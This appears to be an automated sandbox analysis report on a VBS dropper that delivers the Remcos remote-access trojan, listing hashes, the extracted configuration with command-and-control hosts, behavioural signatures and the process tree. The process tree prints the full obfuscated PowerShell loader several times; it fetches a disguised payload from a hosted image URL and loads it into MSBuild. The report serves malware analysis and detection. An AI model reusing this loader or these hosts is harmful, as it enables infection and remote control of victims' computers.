Analysis
-
max time kernel
142s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
10-12-2024 03:35
Static task
static1
Behavioral task
behavioral1
Sample
d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e.vbs
Resource
win7-20240708-en
General
-
Target
d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e.vbs
-
Size
150KB
-
MD5
8c5cf018a9128cb2a9267ee3c4183a0c
-
SHA1
c0e11113ae0360e55302ceecbc7a356ed732ca18
-
SHA256
d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e
-
SHA512
7a826b11dc1fb0ca727ac5044a620b3db4108994bb4cdd353abfa6abdb9e598523d560a191fb1e42473c803a628f7052914d1c9124f09bbfe5fcdbf6154e5ada
-
SSDEEP
3072:NqHoOtSIAMD8oV8luoi9TKq/do5DvqHoOtSIAMD8oV8luoi9TKq/do50qHoOtSI2:NqpTD8LRiJKq/e57qpTD8LRiJKq/e50x
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
Extracted
remcos
NEW
rem.pushswroller.eu:23101
firewarzone.ydns.eu:23101
sun.drillmmcsnk.eu:23101
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmcghghyrtssxr-7RL1P2
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 4 IoCs
flow pid Process 8 4848 powershell.exe 17 4848 powershell.exe 49 4740 powershell.exe 52 4740 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 4848 powershell.exe 4740 powershell.exe 3656 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4848 set thread context of 232 4848 powershell.exe 88 PID 4740 set thread context of 4980 4740 powershell.exe 110 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4848 powershell.exe 4848 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe 4740 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4848 powershell.exe Token: SeDebugPrivilege 4740 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 232 MSBuild.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 220 wrote to memory of 4848 220 WScript.exe 83 PID 220 wrote to memory of 4848 220 WScript.exe 83 PID 4848 wrote to memory of 3060 4848 powershell.exe 86 PID 4848 wrote to memory of 3060 4848 powershell.exe 86 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4848 wrote to memory of 232 4848 powershell.exe 88 PID 4860 wrote to memory of 4740 4860 wscript.exe 106 PID 4860 wrote to memory of 4740 4860 wscript.exe 106 PID 4740 wrote to memory of 2160 4740 powershell.exe 109 PID 4740 wrote to memory of 2160 4740 powershell.exe 109 PID 4740 wrote to memory of 2160 4740 powershell.exe 109 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 PID 4740 wrote to memory of 4980 4740 powershell.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\classers.vbs"3⤵PID:3060
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:232
-
-
-
C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\classers.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:2160
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:4980
-
-
-
C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\classers.vbs1⤵PID:4812
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled2⤵
- Command and Scripting Interpreter: PowerShell
PID:3656
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
150KB
MD58c5cf018a9128cb2a9267ee3c4183a0c
SHA1c0e11113ae0360e55302ceecbc7a356ed732ca18
SHA256d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e
SHA5127a826b11dc1fb0ca727ac5044a620b3db4108994bb4cdd353abfa6abdb9e598523d560a191fb1e42473c803a628f7052914d1c9124f09bbfe5fcdbf6154e5ada
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
1KB
MD55dad0aea8a05057cdf179450a419f98e
SHA1a1ea8761542fc6e7a93b5072b0882872cef74a84
SHA2562db4a87a1221ad38c3fe9ba25402e893e5477d5a92c48f209a845b5a9539a863
SHA5128fae4293ebdb97ef88de176c91e1789f8d708d56b471830decddd09af1543c6b52604e35c4bdb9efb1b0e6f4729a7e9fb4fd8022aef6a28210b9fae8740c6044
-
Filesize
1KB
MD5513af78cbafbb7bc92335a77405d5a07
SHA1dea119a58287cc218b1cca3fc4eff864dc66e7b8
SHA2567594911d82a2b4e4c304edb2acbdf6204c2b8c6bd932847624cfcf4168302968
SHA5121f018b89cb2f5744f23bdf3abe96402727bc4b269c75989f80d77adb958d37bd829c4cff498f195b0afad77e9b29955a3af41013287c8beb9ff477b771110bf4
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82